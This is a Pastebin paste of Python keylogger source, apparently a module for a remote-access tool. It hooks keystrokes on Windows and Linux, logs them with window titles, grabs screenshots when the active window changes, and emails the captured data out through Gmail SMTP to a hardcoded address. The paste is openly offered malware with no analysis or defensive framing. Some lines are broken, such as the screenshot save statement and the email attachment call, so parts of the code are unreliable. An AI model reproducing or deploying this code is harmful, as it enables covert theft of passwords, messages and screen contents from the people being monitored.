Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pyHook
- import pythoncom
- import pyxhook
- import sys
- from threading import Thread
- import time
- import utils
- import pyscreenshot as ImageGrab
- import smtplib
- from email.MIMEMultipart import MIMEMultipart
- from email.MIMEText import MIMEText
- # global parameters
- started = False
- keylog = ""
- current_window = ""
- def ScreenshotEvent(event):
- global current_window
- if current_window != event.WindowName:
- current_window = event.WindowName
- im = ImageGrab.grab()
- im.save +="123987".format(current_window, time.ctime())
- recipients = ["mrtg@gmail.com"]
- msg = MIMEMultipart()
- fromaddr = 'kkt@gmail.com'
- toaddrs = recipients
- msg['Subject'] = 'martyxo'.format(time.ctime)
- msg.attach(MIMEMultipart(im))
- mailserver = smtplib.SMTP("smtp.gmail.com", 587)
- # identify ourselves to smtp gmail client
- mailserver.ehlo()
- # secure our email with tls encryption
- mailserver.starttls()
- # re-identify ourselves as an encrypted connection
- mailserver.ehlo()
- mailserver.login('kkt@gmail.com', 'xxx')
- mailserver.sendmail(fromaddr, toaddrs, msg.as_string())
- mailserver.quit()
- def OnKeyboardEvent(event):
- global current_window
- global keylog
- if current_window != event.WindowName:
- current_window = event.WindowName
- keylog += "\n\n[{}] @ {}\n".format(current_window, time.ctime())
- key = ""
- if event.Ascii == 8:
- key = '[Backspace]'
- elif event.Ascii == 13:
- key = '\n'
- elif event.Ascii == 27:
- key = '[ESC]'
- elif event.Ascii:
- key = chr(event.Ascii)
- keylog += key
- return(True)
- def keylogger():
- if sys.platform == 'win32':
- hm = pyHook.HookManager()
- hm.KeyDown = OnKeyboardEvent
- hm.HookKeyboard()
- pythoncom.PumpMessages()
- elif 'linux' in sys.platform:
- hm = pyxhook.HookManager()
- hm.KeyDown = OnKeyboardEvent
- hm.HookKeyboard()
- hm.start()
- def sendmailkeylog():
- global keylog
- if len(keylog) > 50:
- recipients = ["mrtg@gmail.com"]
- msg = MIMEMultipart()
- fromaddr = 'kkt@gmail.com'
- toaddrs = recipients
- msg['Subject'] = 'martyxo'.format(time.ctime)
- msg.attach(MIMEText(keylog))
- mailserver = smtplib.SMTP("smtp.gmail.com", 587)
- # identify ourselves to smtp gmail client
- mailserver.ehlo()
- # secure our email with tls encryption
- mailserver.starttls()
- # re-identify ourselves as an encrypted connection
- mailserver.ehlo()
- mailserver.login('kkt@gmail.com', 'xxxxx')
- mailserver.sendmail(fromaddr, toaddrs, msg.as_string())
- mailserver.quit()
- keylog = ""
- # execution
- def run(action):
- global started
- global keylog
- if action == "start":
- if not started:
- klg = Thread(target=keylogger)
- klg.setDaemon(True)
- klg.start()
- started = True
- utils.send_output("Keylogger Started!")
- else:
- utils.send_output("Keylogger already running...")
- elif action == "show":
- utils.send_output(keylog)
- else:
- utils.send_output("Usage: keylogger start|show")
- # returns usage information
- def help():
- help_text = """
- Usage: keylogger start|show
- Starts a keylogger or shows logged keys.
- """
- return(help_text)
Add Comment
Please, Sign In to add comment